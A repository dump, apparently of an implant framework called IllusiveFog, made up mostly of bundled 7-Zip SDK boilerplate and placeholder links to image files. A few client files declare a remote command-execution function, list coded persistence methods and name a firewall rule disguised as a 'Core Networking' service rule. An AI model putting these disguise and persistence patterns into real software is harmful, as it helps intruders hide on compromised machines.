https://raw.githubusercontent.com/ChaitanyaHaritash/IllusiveFog/HEAD/client/bit7z-3.1.5/bit7z-3.1.5/lib/7zSDK/CPP/7zip/Archive/Icons/arj.ico -------------------------------------------------------------------------------- /client/bit7z-3.1.5/bit7z-3.1.5/lib/7zSDK/CPP/7zip/Archive/Icons/bz2.ico: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ChaitanyaHaritash/IllusiveFog/HEAD/client/bit7z-3.1.5/bit7z-3.1.5/lib/7zSDK/CPP/7zip/Archive/Icons/bz2.ico -------------------------------------------------------------------------------- /client/bit7z-3.1.5/bit7z-3.1.5/lib/7zSDK/CPP/7zip/Archive/Icons/cab.ico: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ChaitanyaHaritash/IllusiveFog/HEAD/client/bit7z-3.1.5/bit7z-3.1.5/lib/7zSDK/CPP/7zip/Archive/Icons/cab.ico -------------------------------------------------------------------------------- /client/bit7z-3.1.5/bit7z-3.1.5/lib/7zSDK/CPP/7zip/Archive/Icons/deb.ico: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ChaitanyaHaritash/IllusiveFog/HEAD/client/bit7z-3.1.5/bit7z-3.1.5/lib/7zSDK/CPP/7zip/Archive/Icons/deb.ico -------------------------------------------------------------------------------- /client/bit7z-3.1.5/bit7z-3.1.5/lib/7zSDK/CPP/7zip/Archive/Icons/dmg.ico: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ChaitanyaHaritash/IllusiveFog/HEAD/client/bit7z-3.1.5/bit7z-3.1.5/lib/7zSDK/CPP/7zip/Archive/Icons/dmg.ico -------------------------------------------------------------------------------- /client/bit7z-3.1.5/bit7z-3.1.5/lib/7zSDK/CPP/7zip/Archive/Icons/fat.ico: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ChaitanyaHaritash/IllusiveFog/HEAD/client/bit7z-3.1.5/bit7z-3.1.5/lib/7zSDK/CPP/7zip/Archive/Icons/fat.ico -------------------------------------------------------------------------------- /client/bit7z-3.1.5/bit7z-3.1.5/lib/7zSDK/CPP/7zip/Archive/Icons/gz.ico: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ChaitanyaHaritash/IllusiveFog/HEAD/client/bit7z-3.1.5/bit7z-3.1.5/lib/7zSDK/CPP/7zip/Archive/Icons/gz.ico -------------------------------------------------------------------------------- /client/bit7z-3.1.5/bit7z-3.1.5/lib/7zSDK/CPP/7zip/Archive/Icons/hfs.ico: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ChaitanyaHaritash/IllusiveFog/HEAD/client/bit7z-3.1.5/bit7z-3.1.5/lib/7zSDK/CPP/7zip/Archive/Icons/hfs.ico -------------------------------------------------------------------------------- /client/bit7z-3.1.5/bit7z-3.1.5/lib/7zSDK/CPP/7zip/Archive/Icons/iso.ico: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ChaitanyaHaritash/IllusiveFog/HEAD/client/bit7z-3.1.5/bit7z-3.1.5/lib/7zSDK/CPP/7zip/Archive/Icons/iso.ico -------------------------------------------------------------------------------- /client/bit7z-3.1.5/bit7z-3.1.5/lib/7zSDK/CPP/7zip/Archive/Icons/lzh.ico: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ChaitanyaHaritash/IllusiveFog/HEAD/client/bit7z-3.1.5/bit7z-3.1.5/lib/7zSDK/CPP/7zip/Archive/Icons/lzh.ico -------------------------------------------------------------------------------- /client/bit7z-3.1.5/bit7z-3.1.5/lib/7zSDK/CPP/7zip/Archive/Icons/rar.ico: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ChaitanyaHaritash/IllusiveFog/HEAD/client/bit7z-3.1.5/bit7z-3.1.5/lib/7zSDK/CPP/7zip/Archive/Icons/rar.ico -------------------------------------------------------------------------------- /client/bit7z-3.1.5/bit7z-3.1.5/lib/7zSDK/CPP/7zip/Archive/Icons/rpm.ico: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ChaitanyaHaritash/IllusiveFog/HEAD/client/bit7z-3.1.5/bit7z-3.1.5/lib/7zSDK/CPP/7zip/Archive/Icons/rpm.ico -------------------------------------------------------------------------------- /client/bit7z-3.1.5/bit7z-3.1.5/lib/7zSDK/CPP/7zip/Archive/Icons/tar.ico: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ChaitanyaHaritash/IllusiveFog/HEAD/client/bit7z-3.1.5/bit7z-3.1.5/lib/7zSDK/CPP/7zip/Archive/Icons/tar.ico -------------------------------------------------------------------------------- /client/bit7z-3.1.5/bit7z-3.1.5/lib/7zSDK/CPP/7zip/Archive/Icons/vhd.ico: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ChaitanyaHaritash/IllusiveFog/HEAD/client/bit7z-3.1.5/bit7z-3.1.5/lib/7zSDK/CPP/7zip/Archive/Icons/vhd.ico -------------------------------------------------------------------------------- /client/bit7z-3.1.5/bit7z-3.1.5/lib/7zSDK/CPP/7zip/Archive/Icons/wim.ico: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ChaitanyaHaritash/IllusiveFog/HEAD/client/bit7z-3.1.5/bit7z-3.1.5/lib/7zSDK/CPP/7zip/Archive/Icons/wim.ico -------------------------------------------------------------------------------- /client/bit7z-3.1.5/bit7z-3.1.5/lib/7zSDK/CPP/7zip/Archive/Icons/xar.ico: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ChaitanyaHaritash/IllusiveFog/HEAD/client/bit7z-3.1.5/bit7z-3.1.5/lib/7zSDK/CPP/7zip/Archive/Icons/xar.ico -------------------------------------------------------------------------------- /client/bit7z-3.1.5/bit7z-3.1.5/lib/7zSDK/CPP/7zip/Archive/Icons/xz.ico: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ChaitanyaHaritash/IllusiveFog/HEAD/client/bit7z-3.1.5/bit7z-3.1.5/lib/7zSDK/CPP/7zip/Archive/Icons/xz.ico -------------------------------------------------------------------------------- /client/bit7z-3.1.5/bit7z-3.1.5/lib/7zSDK/CPP/7zip/Archive/Icons/zip.ico: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ChaitanyaHaritash/IllusiveFog/HEAD/client/bit7z-3.1.5/bit7z-3.1.5/lib/7zSDK/CPP/7zip/Archive/Icons/zip.ico -------------------------------------------------------------------------------- /client/bit7z-3.1.5/bit7z-3.1.5/lib/7zSDK/CPP/7zip/Bundles/Format7zF/StdAfx.h: -------------------------------------------------------------------------------- 1 | // StdAfx.h 2 | 3 | #ifndef __STDAFX_H 4 | #define __STDAFX_H 5 | 6 | #include "../../../Common/Common.h" 7 | 8 | #endif 9 | -------------------------------------------------------------------------------- /client/bit7z-3.1.5/bit7z-3.1.5/lib/7zSDK/CPP/7zip/Bundles/Format7zR/StdAfx.h: -------------------------------------------------------------------------------- 1 | // StdAfx.h 2 | 3 | #ifndef __STDAFX_H 4 | #define __STDAFX_H 5 | 6 | #include "../../../Common/Common.h" 7 | 8 | #endif 9 | -------------------------------------------------------------------------------- /client/bit7z-3.1.5/bit7z-3.1.5/lib/7zSDK/CPP/7zip/Bundles/SFXCon/7z.ico: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ChaitanyaHaritash/IllusiveFog/HEAD/client/bit7z-3.1.5/bit7z-3.1.5/lib/7zSDK/CPP/7zip/Bundles/SFXCon/7z.ico -------------------------------------------------------------------------------- /client/bit7z-3.1.5/bit7z-3.1.5/lib/7zSDK/CPP/7zip/Bundles/SFXWin/7z.ico: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ChaitanyaHaritash/IllusiveFog/HEAD/client/bit7z-3.1.5/bit7z-3.1.5/lib/7zSDK/CPP/7zip/Bundles/SFXWin/7z.ico -------------------------------------------------------------------------------- /client/bit7z-3.1.5/bit7z-3.1.5/lib/7zSDK/CPP/7zip/UI/FileManager/FM.ico: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ChaitanyaHaritash/IllusiveFog/HEAD/client/bit7z-3.1.5/bit7z-3.1.5/lib/7zSDK/CPP/7zip/UI/FileManager/FM.ico -------------------------------------------------------------------------------- /client/selfSocks5/common.h: -------------------------------------------------------------------------------- 1 | extern char fw_rule_name[100] = "server service rule"; 2 | extern char fw_rule_description[100] = "rule description"; 3 | extern char fw_rule_group[100] = "Core Networking"; 4 | -------------------------------------------------------------------------------- /client/bit7z-3.1.5/bit7z-3.1.5/lib/7zSDK/CPP/7zip/Archive/Icons/cpio.ico: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ChaitanyaHaritash/IllusiveFog/HEAD/client/bit7z-3.1.5/bit7z-3.1.5/lib/7zSDK/CPP/7zip/Archive/Icons/cpio.ico -------------------------------------------------------------------------------- /client/bit7z-3.1.5/bit7z-3.1.5/lib/7zSDK/CPP/7zip/Archive/Icons/lzma.ico: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ChaitanyaHaritash/IllusiveFog/HEAD/client/bit7z-3.1.5/bit7z-3.1.5/lib/7zSDK/CPP/7zip/Archive/Icons/lzma.ico -------------------------------------------------------------------------------- /client/bit7z-3.1.5/bit7z-3.1.5/lib/7zSDK/CPP/7zip/Archive/Icons/ntfs.ico: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ChaitanyaHaritash/IllusiveFog/HEAD/client/bit7z-3.1.5/bit7z-3.1.5/lib/7zSDK/CPP/7zip/Archive/Icons/ntfs.ico -------------------------------------------------------------------------------- /client/bit7z-3.1.5/bit7z-3.1.5/lib/7zSDK/CPP/7zip/Archive/Icons/split.ico: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ChaitanyaHaritash/IllusiveFog/HEAD/client/bit7z-3.1.5/bit7z-3.1.5/lib/7zSDK/CPP/7zip/Archive/Icons/split.ico -------------------------------------------------------------------------------- /client/bit7z-3.1.5/bit7z-3.1.5/lib/7zSDK/CPP/7zip/Bundles/Format7zExtract/StdAfx.h: -------------------------------------------------------------------------------- 1 | // StdAfx.h 2 | 3 | #ifndef __STDAFX_H 4 | #define __STDAFX_H 5 | 6 | #include "../../../Common/Common.h" 7 | 8 | #endif 9 | -------------------------------------------------------------------------------- /client/bit7z-3.1.5/bit7z-3.1.5/lib/7zSDK/CPP/7zip/Bundles/Format7zExtractR/StdAfx.h: -------------------------------------------------------------------------------- 1 | // StdAfx.h 2 | 3 | #ifndef __STDAFX_H 4 | #define __STDAFX_H 5 | 6 | #include "../../../Common/Common.h" 7 | 8 | #endif 9 | -------------------------------------------------------------------------------- /client/bit7z-3.1.5/bit7z-3.1.5/lib/7zSDK/CPP/7zip/UI/Explorer/MenuLogo.bmp: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ChaitanyaHaritash/IllusiveFog/HEAD/client/bit7z-3.1.5/bit7z-3.1.5/lib/7zSDK/CPP/7zip/UI/Explorer/MenuLogo.bmp -------------------------------------------------------------------------------- /client/bit7z-3.1.5/bit7z-3.1.5/lib/7zSDK/CPP/7zip/UI/FileManager/Add.bmp: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ChaitanyaHaritash/IllusiveFog/HEAD/client/bit7z-3.1.5/bit7z-3.1.5/lib/7zSDK/CPP/7zip/UI/FileManager/Add.bmp -------------------------------------------------------------------------------- /client/bit7z-3.1.5/bit7z-3.1.5/lib/7zSDK/CPP/7zip/UI/FileManager/Add2.bmp: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ChaitanyaHaritash/IllusiveFog/HEAD/client/bit7z-3.1.5/bit7z-3.1.5/lib/7zSDK/CPP/7zip/UI/FileManager/Add2.bmp -------------------------------------------------------------------------------- /client/bit7z-3.1.5/bit7z-3.1.5/lib/7zSDK/CPP/7zip/UI/FileManager/Copy.bmp: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ChaitanyaHaritash/IllusiveFog/HEAD/client/bit7z-3.1.5/bit7z-3.1.5/lib/7zSDK/CPP/7zip/UI/FileManager/Copy.bmp -------------------------------------------------------------------------------- /client/bit7z-3.1.5/bit7z-3.1.5/lib/7zSDK/CPP/7zip/UI/FileManager/Copy2.bmp: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ChaitanyaHaritash/IllusiveFog/HEAD/client/bit7z-3.1.5/bit7z-3.1.5/lib/7zSDK/CPP/7zip/UI/FileManager/Copy2.bmp -------------------------------------------------------------------------------- /client/bit7z-3.1.5/bit7z-3.1.5/lib/7zSDK/CPP/7zip/UI/FileManager/Info.bmp: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ChaitanyaHaritash/IllusiveFog/HEAD/client/bit7z-3.1.5/bit7z-3.1.5/lib/7zSDK/CPP/7zip/UI/FileManager/Info.bmp -------------------------------------------------------------------------------- /client/bit7z-3.1.5/bit7z-3.1.5/lib/7zSDK/CPP/7zip/UI/FileManager/Info2.bmp: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ChaitanyaHaritash/IllusiveFog/HEAD/client/bit7z-3.1.5/bit7z-3.1.5/lib/7zSDK/CPP/7zip/UI/FileManager/Info2.bmp -------------------------------------------------------------------------------- /client/bit7z-3.1.5/bit7z-3.1.5/lib/7zSDK/CPP/7zip/UI/FileManager/Move.bmp: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ChaitanyaHaritash/IllusiveFog/HEAD/client/bit7z-3.1.5/bit7z-3.1.5/lib/7zSDK/CPP/7zip/UI/FileManager/Move.bmp -------------------------------------------------------------------------------- /client/bit7z-3.1.5/bit7z-3.1.5/lib/7zSDK/CPP/7zip/UI/FileManager/Move2.bmp: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ChaitanyaHaritash/IllusiveFog/HEAD/client/bit7z-3.1.5/bit7z-3.1.5/lib/7zSDK/CPP/7zip/UI/FileManager/Move2.bmp -------------------------------------------------------------------------------- /client/bit7z-3.1.5/bit7z-3.1.5/lib/7zSDK/CPP/7zip/UI/FileManager/Test.bmp: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ChaitanyaHaritash/IllusiveFog/HEAD/client/bit7z-3.1.5/bit7z-3.1.5/lib/7zSDK/CPP/7zip/UI/FileManager/Test.bmp -------------------------------------------------------------------------------- /client/bit7z-3.1.5/bit7z-3.1.5/lib/7zSDK/CPP/7zip/UI/FileManager/Test2.bmp: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ChaitanyaHaritash/IllusiveFog/HEAD/client/bit7z-3.1.5/bit7z-3.1.5/lib/7zSDK/CPP/7zip/UI/FileManager/Test2.bmp -------------------------------------------------------------------------------- /client/Shell/Shell.h: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | #include "common/allocation.h" 4 | #include "common/reporter.h" 5 | void command_exec(char* command, DWORD reporter_threadid, HANDLE hevent); 6 | -------------------------------------------------------------------------------- /client/bit7z-3.1.5/bit7z-3.1.5/lib/7zSDK/CPP/7zip/Archive/Icons/squashfs.ico: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ChaitanyaHaritash/IllusiveFog/HEAD/client/bit7z-3.1.5/bit7z-3.1.5/lib/7zSDK/CPP/7zip/Archive/Icons/squashfs.ico -------------------------------------------------------------------------------- /client/bit7z-3.1.5/bit7z-3.1.5/lib/7zSDK/CPP/7zip/Bundles/SFXSetup/setup.ico: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ChaitanyaHaritash/IllusiveFog/HEAD/client/bit7z-3.1.5/bit7z-3.1.5/lib/7zSDK/CPP/7zip/Bundles/SFXSetup/setup.ico -------------------------------------------------------------------------------- /client/bit7z-3.1.5/bit7z-3.1.5/lib/7zSDK/CPP/7zip/Compress/ImplodeHuffmanDecoder.h: -------------------------------------------------------------------------------- 1 | // ImplodeHuffmanDecoder.h 2 | 3 | #ifndef __IMPLODE_HUFFMAN_DECODER_H 4 | #define __IMPLODE_HUFFMAN_DECODER_H 5 | 6 | #endif 7 | -------------------------------------------------------------------------------- /client/bit7z-3.1.5/bit7z-3.1.5/lib/7zSDK/CPP/7zip/UI/FileManager/Delete.bmp: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ChaitanyaHaritash/IllusiveFog/HEAD/client/bit7z-3.1.5/bit7z-3.1.5/lib/7zSDK/CPP/7zip/UI/FileManager/Delete.bmp -------------------------------------------------------------------------------- /client/bit7z-3.1.5/bit7z-3.1.5/lib/7zSDK/CPP/7zip/UI/FileManager/Delete2.bmp: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ChaitanyaHaritash/IllusiveFog/HEAD/client/bit7z-3.1.5/bit7z-3.1.5/lib/7zSDK/CPP/7zip/UI/FileManager/Delete2.bmp -------------------------------------------------------------------------------- /client/bit7z-3.1.5/bit7z-3.1.5/lib/7zSDK/CPP/7zip/UI/FileManager/Extract.bmp: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ChaitanyaHaritash/IllusiveFog/HEAD/client/bit7z-3.1.5/bit7z-3.1.5/lib/7zSDK/CPP/7zip/UI/FileManager/Extract.bmp -------------------------------------------------------------------------------- /client/bit7z-3.1.5/bit7z-3.1.5/lib/7zSDK/C/Util/7zipUninstall/7zipUninstall.ico: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ChaitanyaHaritash/IllusiveFog/HEAD/client/bit7z-3.1.5/bit7z-3.1.5/lib/7zSDK/C/Util/7zipUninstall/7zipUninstall.ico -------------------------------------------------------------------------------- /client/bit7z-3.1.5/bit7z-3.1.5/lib/7zSDK/CPP/7zip/LzmaDec.mak: -------------------------------------------------------------------------------- 1 | !IF "$(PLATFORM)" == "x64" 2 | !IFNDEF NO_ASM 3 | CFLAGS_C_SPEC = -D_LZMA_DEC_OPT 4 | ASM_OBJS = $(ASM_OBJS) \ 5 | $O\LzmaDecOpt.obj 6 | !ENDIF 7 | !ENDIF 8 | -------------------------------------------------------------------------------- /client/bit7z-3.1.5/bit7z-3.1.5/lib/7zSDK/CPP/7zip/UI/FileManager/7zipLogo.ico: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ChaitanyaHaritash/IllusiveFog/HEAD/client/bit7z-3.1.5/bit7z-3.1.5/lib/7zSDK/CPP/7zip/UI/FileManager/7zipLogo.ico -------------------------------------------------------------------------------- /client/bit7z-3.1.5/bit7z-3.1.5/lib/7zSDK/CPP/7zip/UI/FileManager/Extract2.bmp: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ChaitanyaHaritash/IllusiveFog/HEAD/client/bit7z-3.1.5/bit7z-3.1.5/lib/7zSDK/CPP/7zip/UI/FileManager/Extract2.bmp -------------------------------------------------------------------------------- /client/bit7z-3.1.5/bit7z-3.1.5/lib/7zSDK/CPP/7zip/Bundles/Format7z/resource.rc: -------------------------------------------------------------------------------- 1 | #include "../../MyVersionInfo.rc" 2 | 3 | MY_VERSION_INFO_DLL("7z Standalone Plugin", "7za") 4 | 5 | 101 ICON "../../Archive/Icons/7z.ico" 6 | -------------------------------------------------------------------------------- /client/bit7z-3.1.5/bit7z-3.1.5/lib/7zSDK/CPP/7zip/Compress/Codec.def: -------------------------------------------------------------------------------- 1 | EXPORTS 2 | CreateObject PRIVATE 3 | GetNumberOfMethods PRIVATE 4 | GetMethodProperty PRIVATE 5 | CreateDecoder PRIVATE 6 | CreateEncoder PRIVATE 7 | -------------------------------------------------------------------------------- /client/bit7z-3.1.5/bit7z-3.1.5/lib/7zSDK/CPP/Windows/Console.cpp: -------------------------------------------------------------------------------- 1 | // Windows/Console.cpp 2 | 3 | #include "StdAfx.h" 4 | 5 | #include "Console.h" 6 | 7 | namespace NWindows{ 8 | namespace NConsole{ 9 | 10 | }} 11 | -------------------------------------------------------------------------------- /client/persistence/common.h: -------------------------------------------------------------------------------- 1 | #define TOTAL_METHODS 2 2 | #define OPERATION_METHODS 2 3 | extern char methods[TOTAL_METHODS][100] = { "A11", "A22" }; 4 | extern char operation_methods[OPERATION_METHODS][100] = { "45","90" }; 5 | -------------------------------------------------------------------------------- /client/bit7z-3.1.5/bit7z-3.1.5/lib/7zSDK/CPP/7zip/Archive/XzHandler.h: -------------------------------------------------------------------------------- 1 | // XzHandler.h 2 | 3 | #ifndef __XZ_HANDLER_H 4 | #define __XZ_HANDLER_H 5 | 6 | namespace NArchive { 7 | namespace NXz { 8 | 9 | }} 10 | 11 | #endif 12 | -------------------------------------------------------------------------------- /client/bit7z-3.1.5/bit7z-3.1.5/lib/7zSDK/CPP/7zip/Bundles/Format7zR/resource.rc: -------------------------------------------------------------------------------- 1 | #include "../../../../C/7zVersion.rc" 2 | 3 | MY_VERSION_INFO_DLL("7z Reduced Standalone Plugin", "7zr") 4 | 5 | 101 ICON "../../Archive/Icons/7z.ico" 6 | -------------------------------------------------------------------------------- /client/bit7z-3.1.5/bit7z-3.1.5/lib/7zSDK/CPP/7zip/LzFindOpt.mak: -------------------------------------------------------------------------------- 1 | !IF defined(USE_C_LZFINDOPT) || "$(PLATFORM)" != "x64" 2 | C_OBJS = $(C_OBJS) \ 3 | $O\LzFindOpt.obj 4 | !ELSE 5 | ASM_OBJS = $(ASM_OBJS) \ 6 | $O\LzFindOpt.obj 7 | !ENDIF 8 | -------------------------------------------------------------------------------- /client/bit7z-3.1.5/bit7z-3.1.5/lib/7zSDK/CPP/7zip/UI/FileManager/PasswordDialogRes.h: -------------------------------------------------------------------------------- 1 | #define IDD_PASSWORD 3800 2 | #define IDT_PASSWORD_ENTER 3801 3 | #define IDX_PASSWORD_SHOW 3803 4 | 5 | #define IDE_PASSWORD_PASSWORD 120 6 | -------------------------------------------------------------------------------- /client/bit7z-3.1.5/bit7z-3.1.5/lib/7zSDK/CPP/Common/CRC.cpp: -------------------------------------------------------------------------------- 1 | // Common/CRC.cpp 2 | 3 | #include "StdAfx.h" 4 | 5 | #include "../../C/7zCrc.h" 6 | 7 | static struct CCRCTableInit { CCRCTableInit() { CrcGenerateTable(); } } g_CRCTableInit; 8 | -------------------------------------------------------------------------------- /client/bit7z-3.1.5/bit7z-3.1.5/lib/7zSDK/CPP/Common/Sha1Prepare.cpp: -------------------------------------------------------------------------------- 1 | // Sha1Prepare.cpp 2 | 3 | #include "StdAfx.h" 4 | 5 | #include "../../C/Sha1.h" 6 | 7 | static struct CSha1Prepare { CSha1Prepare() { Sha1Prepare(); } } g_Sha1Prepare; 8 | -------------------------------------------------------------------------------- /client/bit7z-3.1.5/bit7z-3.1.5/lib/7zSDK/C/var_gcc_x64.mak: -------------------------------------------------------------------------------- 1 | PLATFORM=x64 2 | O=b/g_$(PLATFORM) 3 | IS_X64=1 4 | IS_X86= 5 | IS_ARM64= 6 | CROSS_COMPILE= 7 | MY_ARCH= 8 | USE_ASM=1 9 | CC=$(CROSS_COMPILE)gcc 10 | CXX=$(CROSS_COMPILE)g++ 11 | -------------------------------------------------------------------------------- /client/bit7z-3.1.5/bit7z-3.1.5/lib/7zSDK/CPP/7zip/Bundles/Format7zExtract/resource.rc: -------------------------------------------------------------------------------- 1 | #include "../../MyVersionInfo.rc" 2 | 3 | MY_VERSION_INFO_DLL("7z Standalone Extracting Plugin", "7zxa") 4 | 5 | 101 ICON "../../Archive/Icons/7z.ico" 6 | -------------------------------------------------------------------------------- /client/bit7z-3.1.5/bit7z-3.1.5/lib/7zSDK/CPP/7zip/UI/Console/resource.rc: -------------------------------------------------------------------------------- 1 | #include "../../MyVersionInfo.rc" 2 | 3 | MY_VERSION_INFO_APP("7-Zip Console" , "7z") 4 | 5 | #ifndef UNDER_CE 6 | 1 24 MOVEABLE PURE "Console.manifest" 7 | #endif 8 | -------------------------------------------------------------------------------- /client/bit7z-3.1.5/bit7z-3.1.5/lib/7zSDK/C/var_clang.mak: -------------------------------------------------------------------------------- 1 | PLATFORM= 2 | O=b/c 3 | IS_X64= 4 | IS_X86= 5 | IS_ARM64= 6 | CROSS_COMPILE= 7 | MY_ARCH= 8 | USE_ASM= 9 | CC=$(CROSS_COMPILE)clang 10 | CXX=$(CROSS_COMPILE)clang++ 11 | USE_CLANG=1 12 | -------------------------------------------------------------------------------- /client/bit7z-3.1.5/bit7z-3.1.5/lib/7zSDK/C/var_gcc_x86.mak: -------------------------------------------------------------------------------- 1 | PLATFORM=x86 2 | O=b/g_$(PLATFORM) 3 | IS_X64= 4 | IS_X86=1 5 | IS_ARM64= 6 | CROSS_COMPILE= 7 | MY_ARCH=-m32 8 | USE_ASM=1 9 | CC=$(CROSS_COMPILE)gcc 10 | CXX=$(CROSS_COMPILE)g++ 11 | -------------------------------------------------------------------------------- /client/bit7z-3.1.5/bit7z-3.1.5/lib/7zSDK/CPP/7zip/Common/MethodId.h: -------------------------------------------------------------------------------- 1 | // MethodId.h 2 | 3 | #ifndef __7Z_METHOD_ID_H 4 | #define __7Z_METHOD_ID_H 5 | 6 | #include "../../Common/MyTypes.h" 7 | 8 | typedef UInt64 CMethodId; 9 | 10 | #endif 11 | -------------------------------------------------------------------------------- /client/bit7z-3.1.5/bit7z-3.1.5/lib/7zSDK/CPP/Common/XzCrc64Init.cpp: -------------------------------------------------------------------------------- 1 | // XzCrc64Init.cpp 2 | 3 | #include "StdAfx.h" 4 | 5 | #include "../../C/XzCrc64.h" 6 | 7 | static struct CCrc64Gen { CCrc64Gen() { Crc64GenerateTable(); } } g_Crc64TableInit; 8 | -------------------------------------------------------------------------------- /client/bit7z-3.1.5/bit7z-3.1.5/lib/7zSDK/CPP/Windows/Control/ImageList.cpp: -------------------------------------------------------------------------------- 1 | // Windows/Control/ImageList.cpp 2 | 3 | #include "StdAfx.h" 4 | 5 | #include "ImageList.h" 6 | 7 | namespace NWindows { 8 | namespace NControl { 9 | 10 | }} 11 | -------------------------------------------------------------------------------- /client/bit7z-3.1.5/bit7z-3.1.5/lib/7zSDK/CPP/7zip/Bundles/Format7zExtractR/resource.rc: -------------------------------------------------------------------------------- 1 | #include "../../../../C/7zVersion.rc" 2 | 3 | MY_VERSION_INFO_DLL("7z Extracting Reduced Standalone Plugin", "7zxr") 4 | 5 | 101 ICON "../../Archive/Icons/7z.ico" 6 | -------------------------------------------------------------------------------- /client/bit7z-3.1.5/bit7z-3.1.5/lib/7zSDK/CPP/7zip/var_gcc_x64.mak: -------------------------------------------------------------------------------- 1 | PLATFORM=x64 2 | O=b/g_$(PLATFORM) 3 | IS_X64=1 4 | IS_X86= 5 | IS_ARM64= 6 | CROSS_COMPILE= 7 | MY_ARCH= 8 | USE_ASM=1 9 | CC=$(CROSS_COMPILE)gcc 10 | CXX=$(CROSS_COMPILE)g++ 11 | -------------------------------------------------------------------------------- /client/bit7z-3.1.5/bit7z-3.1.5/lib/7zSDK/CPP/Common/LzFindPrepare.cpp: -------------------------------------------------------------------------------- 1 | // Sha256Prepare.cpp 2 | 3 | #include "StdAfx.h" 4 | 5 | #include "../../C/LzFind.h" 6 | 7 | static struct CLzFindPrepare { CLzFindPrepare() { LzFindPrepare(); } } g_CLzFindPrepare; 8 | -------------------------------------------------------------------------------- /client/bit7z-3.1.5/bit7z-3.1.5/lib/7zSDK/CPP/Common/Sha256Prepare.cpp: -------------------------------------------------------------------------------- 1 | // Sha256Prepare.cpp 2 | 3 | #include "StdAfx.h" 4 | 5 | #include "../../C/Sha256.h" 6 | 7 | static struct CSha256Prepare { CSha256Prepare() { Sha256Prepare(); } } g_Sha256Prepare; 8 | -------------------------------------------------------------------------------- /srvfin/pages/decoy.html: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | 7 | 12 | 13 | 14 | 15 | -------------------------------------------------------------------------------- /client/bit7z-3.1.5/bit7z-3.1.5/lib/7zSDK/CPP/7zip/var_clang.mak: -------------------------------------------------------------------------------- 1 | PLATFORM= 2 | O=b/c 3 | IS_X64= 4 | IS_X86= 5 | IS_ARM64= 6 | CROSS_COMPILE= 7 | MY_ARCH= 8 | USE_ASM= 9 | CC=$(CROSS_COMPILE)clang 10 | CXX=$(CROSS_COMPILE)clang++ 11 | USE_CLANG=1 12 | -------------------------------------------------------------------------------- /client/bit7z-3.1.5/bit7z-3.1.5/lib/7zSDK/C/var_gcc.mak: -------------------------------------------------------------------------------- 1 | PLATFORM= 2 | O=b/g 3 | IS_X64= 4 | IS_X86= 5 | IS_ARM64= 6 | CROSS_COMPILE= 7 | MY_ARCH= 8 | USE_ASM= 9 | CC=$(CROSS_COMPILE)gcc 10 | CXX=$(CROSS_COMPILE)g++ 11 | 12 | # -march=armv8-a+crc+crypto 13 | -------------------------------------------------------------------------------- /client/bit7z-3.1.5/bit7z-3.1.5/lib/7zSDK/CPP/7zip/Archive/7z/resource.rc: -------------------------------------------------------------------------------- 1 | #include "../../MyVersionInfo.rc" 2 | 3 | MY_VERSION_INFO_DLL("7z Plugin", "7z") 4 | 5 | 0 ICON "../Icons/7z.ico" 6 | 7 | STRINGTABLE 8 | BEGIN 9 | 100 "7z:0" 10 | END 11 | 12 | -------------------------------------------------------------------------------- /client/bit7z-3.1.5/bit7z-3.1.5/lib/7zSDK/CPP/7zip/UI/makefile: -------------------------------------------------------------------------------- 1 | DIRS = \ 2 | Client7z\~ \ 3 | Console\~ \ 4 | Explorer\~ \ 5 | Far\~ \ 6 | FileManager\~ \ 7 | GUI\~ \ 8 | 9 | all: $(DIRS) 10 | 11 | $(DIRS): 12 | !include "../SubBuild.mak" 13 | -------------------------------------------------------------------------------- /client/bit7z-3.1.5/bit7z-3.1.5/lib/7zSDK/CPP/7zip/var_gcc_x86.mak: -------------------------------------------------------------------------------- 1 | PLATFORM=x86 2 | O=b/g_$(PLATFORM) 3 | IS_X64= 4 | IS_X86=1 5 | IS_ARM64= 6 | CROSS_COMPILE= 7 | MY_ARCH=-m32 8 | USE_ASM=1 9 | CC=$(CROSS_COMPILE)gcc 10 | CXX=$(CROSS_COMPILE)g++ 11 | 12 | -------------------------------------------------------------------------------- /client/bit7z-3.1.5/bit7z-3.1.5/lib/7zSDK/C/var_clang_x64.mak: -------------------------------------------------------------------------------- 1 | 